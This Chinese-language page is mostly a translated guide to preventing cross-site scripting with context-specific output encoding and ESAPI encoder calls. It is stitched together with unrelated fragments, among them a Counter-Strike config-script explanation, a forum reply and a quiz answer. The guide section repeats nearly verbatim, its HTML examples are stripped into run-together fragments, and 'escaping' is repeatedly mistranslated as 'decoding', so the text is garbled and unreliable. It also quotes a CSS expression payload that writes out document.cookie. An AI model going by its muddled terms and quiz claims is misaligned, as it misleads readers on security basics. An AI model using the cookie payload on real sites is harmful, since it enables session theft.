这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等)，这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则，事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。 contentinsideUNquotedattribute content insidesinglequotedattribute 除了字母数字字符外，使用小于256的ASCII值HH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用，正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏，包括[space] % * + , - / ; < = > ^ 和 |。 ESAPI参考实施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信数据前，进行JavaScript解码 这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的，因为很容易切换到执行环境，因此请小心使用。 insideaquotedstring onesideofanexpression insideUNquotedeventhandler insidequotedeventhandler insidequotedeventhandler 除了字母数字字符外，使用小于256的ASCII值xHH格式 对所有数据进行解码以防止将数据值切换至脚本内容或者另一属性。不要使用任何解码捷径(如" )因为引用字符可能被先运行的HTML属性解析器相匹配。如果事件处理器被引用，则需要相应的引用来解码。这条规则的广泛应用是因为开发者经常让事件处理器保持未引用。正确引用属性只能使用相应的引用来解码，未引用属性可以使用任何字符(包括[space] % * + , - / ; < = > ^ 和|)解码。同时，由于HTML解析器比JavaScript解析器先运行，关闭标签能够关闭脚本块，即使脚本块位于引用字符串中。 ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForJavaScript(request.getParameter("input")); No.5 – 在向HTML 样式属性值插入不可信数居前，进行CSS解码 当你想将不可信数据放入样式表或者样式标签时，可以用此规则。CSS是很强大的，可以用于许多攻击。因此，只能在属性值中使用不可信数据而不能在其他样式数据中使用。不能将不可信数据放入复杂的属性(如url,、behavior、和custom (-moz-binding))。同样，不能将不可信数据放入允许JavaScript的IE的expression属性值。 propertyvalue textpropertyvalue 除了字母数字字符外，使用小于256的ASCII值HH格式对所有数据进行解码。不要使用任何解码捷径(如" )因为引用字符可能被先运行的HTML属性解析器相匹配，防止将数据值切换至脚本内容或者另一属性。同时防止切换至expression或者其他允许脚本的属性值。如果属性被引用，将需要相应的引用进行解码，所有的属性都应该被引用。未引用属性可以使用任何字符(包括[space] % * + , - / ; < = > ^ 和|)解码。同时，由于HTML解析器比JavaScript解析器先运行，标签能够关闭脚本块，即使脚本块位于引用字符串中。 ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForCSS(request.getParameter("input")); No.6- 在向HTML URL属性插入不可信数据前，进行URL解码 当你想将不可信数据放入链接到其他位置的link中时需要运用此规则。这包括href和src属性。还有很多其他位置属性，不过我们建议不要在这些属性中使用不可信数据。需要注意的是在javascript中使用不可信数据的问题，不过可以使用上述的HTML JavaScript Data Value规则。 linkanormallink animagesource ascriptsource 除了字母数字字符外，使用小于256的ASCII值%HH 解码格式对所有数据进行解码。在数据中保护不可信数据：URL不能够被允许，因为没有好方法来通过解码来切换URL以避免攻击。所有的属性都应该被引用。未引用属性可以使用任何字符(包括[space] % * + , - / ; < = > ^ 和|)解码。 请注意实体编码在这方面是没用的。

脚本是批处理文件的延伸，是一种纯文本保存的程序，一般来说的计算机脚本程序是确定的一系列控制计算机进行运算操作动作的组合，在其中可以实现一定的逻辑分支等。脚本程序相对一般程序开发来说比较接近自然语言，可以不经编译而是解释执行，利于快速开发或一些轻量的控制。现在的脚本语言是比较多的，一般的脚本语言的执行只同具体的解释执行器有关，所以只要系统上有相应语言的解释程序就可以做到跨平台。脚本(Script)，就是含有bind和alias等命令的集合，你可以把这个集合存为一个独立的文件然后在需要的时候执行，这样就可以方便你在CS中的使用。脚本可以存为后缀名为.cfg的文件放在cstrike文件夹下，执行时在控制台输入：exec（脚本文件名）.cfg即可。比如将一个脚本存为buys.cfg文件，则在控制台中输入：execbuys.cfg则可以实现我们所需要的功能。要实现一个命令只要把这一过程定义(alias)好，并且分配一个键位给这个命令，以后只要按分配好的键位，就可以实现这一过程。所有的脚本都是通过这一方法实现的。 问问题可先搜索一下的,这个别人问过了

不可信数据 不可信数据通常是来自HTTP请求的数据，以URL参数、表单字段、标头或者Cookie的形式。不过从安全角度来看，来自数据库、网络服务器和其他来源的数据往往也是不可信的，也就是说，这些数据可能没有完全通过验证。 应该始终对不可信数据保持警惕，将其视为包含攻击，这意味着在发送不可信数据之前，应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化，下游直译程序执行的攻击可以迅速蔓延。 传统上来看，输入验证是处理不可信数据的最好办法，然而，输入验证法并不是注入式攻击的最佳解决方案。首先，输入验证通常是在获取数据时开始执行的，而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次，可能更加重要的是，应用程序必须允许潜在危害的字符进入，例如，是不是仅仅因为SQL认为Mr. O"Malley名字包含特殊字符他就不能在数据库中注册呢? 虽然输入验证很重要，但这始终不是解决注入攻击的完整解决方案，最好将输入攻击作为纵深防御措施，而将escaping作为首要防线。 解码(又称为Output Encoding) “Escaping”解码技术主要用于确保字符作为数据处理，而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码，有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符，而其他技术则包含涉及若干字符的更复杂的语法。 不要将输出解码与Unicode字符编码的概念弄混淆了，后者涉及映射Unicode字符到位序列。这种级别的编码通常是自动解码，并不能缓解攻击。但是，如果没有正确理解服务器和浏览器间的目标字符集，有可能导致与非目标字符产生通信，从而招致跨站XSS脚本攻击。这也正是为所有通信指定Unicode字符编码(字符集)(如UTF-8等)的重要所在。 Escaping是重要的工具，能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响，仍将正确呈现在浏览器中，解码只能阻止运行中发生的攻击。 注入攻击理论 注入攻击是这样一种攻击方式，它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。XSS是一种注入攻击形式，浏览器作为直译程序，攻击被隐藏在HTML文件中。HTML一直都是代码和数据最差的mashup，因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的，因为它不仅是层次结构的，而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻击与XSS的关系，必须认真考虑HTML DOM的层次结构中的注入攻击。在HTML文件的某个位置(即开发者允许不可信数据列入DOM的位置)插入数据，主要有两种注入代码的方式： Injecting UP，上行注入 最常见的方式是关闭现有的context并开始一个新的代码context，例如，当你关闭HTML属性时使用">并开始新的 可以终止脚本块，即使该脚本块被注入脚本内方法调用内的引用字符，这是因为HTML解析器在JavaScript解析器之前运行。 Injecting DOWN，下行注入 另一种不太常见的执行XSS注入的方式就是，在不关闭当前context的情况下，引入一个subcontext。例如，将改为 ，并不需要躲开HTML属性context，相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是CSS属性中的expression()功能，虽然你可能无法躲开引用CSS属性来进行上行注入，你可以采用x ss:expression(document.write(document.cookie))且无需离开现有context。 同样也有可能直接在现有context内进行注入，例如，可以采用不可信的输入并把它直接放入JavaScript context。这种方式比你想象的更加常用，但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲，如果这样做，你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。 本文介绍的规则旨在防止上行和下行XSS注入攻击。防止上行注入攻击，你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃DOM层次级别，你必须避免所有可能关闭context的字符;下行注入攻击，你必须避免任何可以用来在现有context内引入新的sub-context的字符。 积极XSS防御模式 本文把HTML页面当作一个模板，模板上有很多插槽，开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的，这是“白名单”模式，否认所有不允许的事情。 根据浏览器解析HTML的方式的不同，每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时，必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说，这种方法将HTML文档当作参数化的数据库查询，数据被保存在具体文职并与escaping代码context相分离。 本文列出了最常见的插槽位置和安全放置数据的规则，基于各种不同的要求、已知的XSS载体和对流行浏览器的大量手动测试，我们保证本文提出的规则都是安全的。 定义好插槽位置，开发者们在放置任何数据前，都应该仔细分析以确保安全性。浏览器解析是非常棘手的，因为很多看起来无关紧要的字符可能起着重要作用。 为什么不能对所有不可信数据进行HTML实体编码? 可以对放入HTML文档正文的不可行数据进行HTML实体编码，如 标签内。也可以对进入属性的不可行数据进行实体编码，尤其是当属性中使用引用符号时。但是HTML实体编码并不总是有效，例如将不可信数据放入 directlyinascript insideanHTMLcomment inanattributename <...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/> inatagname 更重要的是，不要接受来自不可信任来源的JavaScript代码然后运行，例如，名为“callback”的参数就包含JavaScript代码段，没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时，这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的方法且能够躲开下列字符。但是，这对于其他HTML context是远远不够的，你需要部署其他规则。 ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... 以及其他的HTML常用元素 使用HTML实体解码躲开下列字符以避免切换到任何执行内容，如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体，除了XML中5个重要字符(&、<、 >、 "、 ")外，还加入了斜线符，以帮助结束HTML实体。 &-->& <-->< >-->> "-->" "-->""isnotrecommended /-->/forwardslashisincludedasithelpsendanHTMLentity ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常见属性插入不可信数据前进行属性解码 这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等)，这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则，事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。 contentinsideUNquotedattribute content insidesinglequotedattribute 除了字母数字字符外，使用小于256的ASCII值HH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用，正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏，包括[space] % * + , - / ; < = > ^ 和 |。 ESAPI参考实施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信数据前，进行JavaScript解码 这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的，因为很容易切换到执行环境，因此请小心使用。 insideaquotedstring onesideofanexpression insideUNquotedeventhandler insidequotedeventhandler insidequotedeventhandler 除了字母数字字符外，使用小于256的ASCII值xHH格式 对所有数据进行解码以防止将数据值切换至脚本内容或者另一属性。不要使用任何解码捷径(如" )因为引用字符可能被先运行的HTML属性解析器相匹配。如果事件处理器被引用，则需要相应的引用来解码。这条规则的广泛应用是因为开发者经常让事件处理器保持未引用。正确引用属性只能使用相应的引用来解码，未引用属性可以使用任何字符(包括[space] % * + , - / ; < = > ^ 和|)解码。同时，由于HTML解析器比JavaScript解析器先运行，关闭标签能够关闭脚本块，即使脚本块位于引用字符串中。 ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForJavaScript(request.getParameter("input")); No.5 – 在向HTML 样式属性值插入不可信数居前，进行CSS解码 当你想将不可信数据放入样式表或者样式标签时，可以用此规则。CSS是很强大的，可以用于许多攻击。因此，只能在属性值中使用不可信数据而不能在其他样式数据中使用。不能将不可信数据放入复杂的属性(如url,、behavior、和custom (-moz-binding))。同样，不能将不可信数据放入允许JavaScript的IE的expression属性值。 propertyvalue textpropertyvalue 除了字母数字字符外，使用小于256的ASCII值HH格式对所有数据进行解码。不要使用任何解码捷径(如" )因为引用字符可能被先运行的HTML属性解析器相匹配，防止将数据值切换至脚本内容或者另一属性。同时防止切换至expression或者其他允许脚本的属性值。如果属性被引用，将需要相应的引用进行解码，所有的属性都应该被引用。未引用属性可以使用任何字符(包括[space] % * + , - / ; < = > ^ 和|)解码。同时，由于HTML解析器比JavaScript解析器先运行，标签能够关闭脚本块，即使脚本块位于引用字符串中。 ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForCSS(request.getParameter("input")); No.6- 在向HTML URL属性插入不可信数据前，进行URL解码 当你想将不可信数据放入链接到其他位置的link中时需要运用此规则。这包括href和src属性。还有很多其他位置属性，不过我们建议不要在这些属性中使用不可信数据。需要注意的是在javascript中使用不可信数据的问题，不过可以使用上述的HTML JavaScript Data Value规则。 linkanormallink animagesource ascriptsource 除了字母数字字符外，使用小于256的ASCII值%HH 解码格式对所有数据进行解码。在数据中保护不可信数据：URL不能够被允许，因为没有好方法来通过解码来切换URL以避免攻击。所有的属性都应该被引用。未引用属性可以使用任何字符(包括[space] % * + , - / ; < = > ^ 和|)解码。 请注意实体编码在这方面是没用的。

（1）需要注意对以下进行数据 ”编码”和”过滤”，对输入的数据进行”过滤”，对输出数据进行”编码”。The URLHTTP referrer objectsGET parameters from a formPOST parameters from a formWindow.locationDocument.referrerdocument.locationdocument.URLdocument.URLUnencodedcookie dataheaders datadatabase data（2）可以引入 防御XSS攻击的代码库

【答案】：D不是任何利用脚本插入实现攻击漏洞都被称为XSS，因为还有另一种攻击方式：Injection（脚本注入）。跨站脚本攻击和脚本注入攻击区别在于脚本注入攻击会把插入脚本保存在被修改远程Web页面里，如：sql injection,XPath injection。但跨站脚本是临时，执行后就消失了。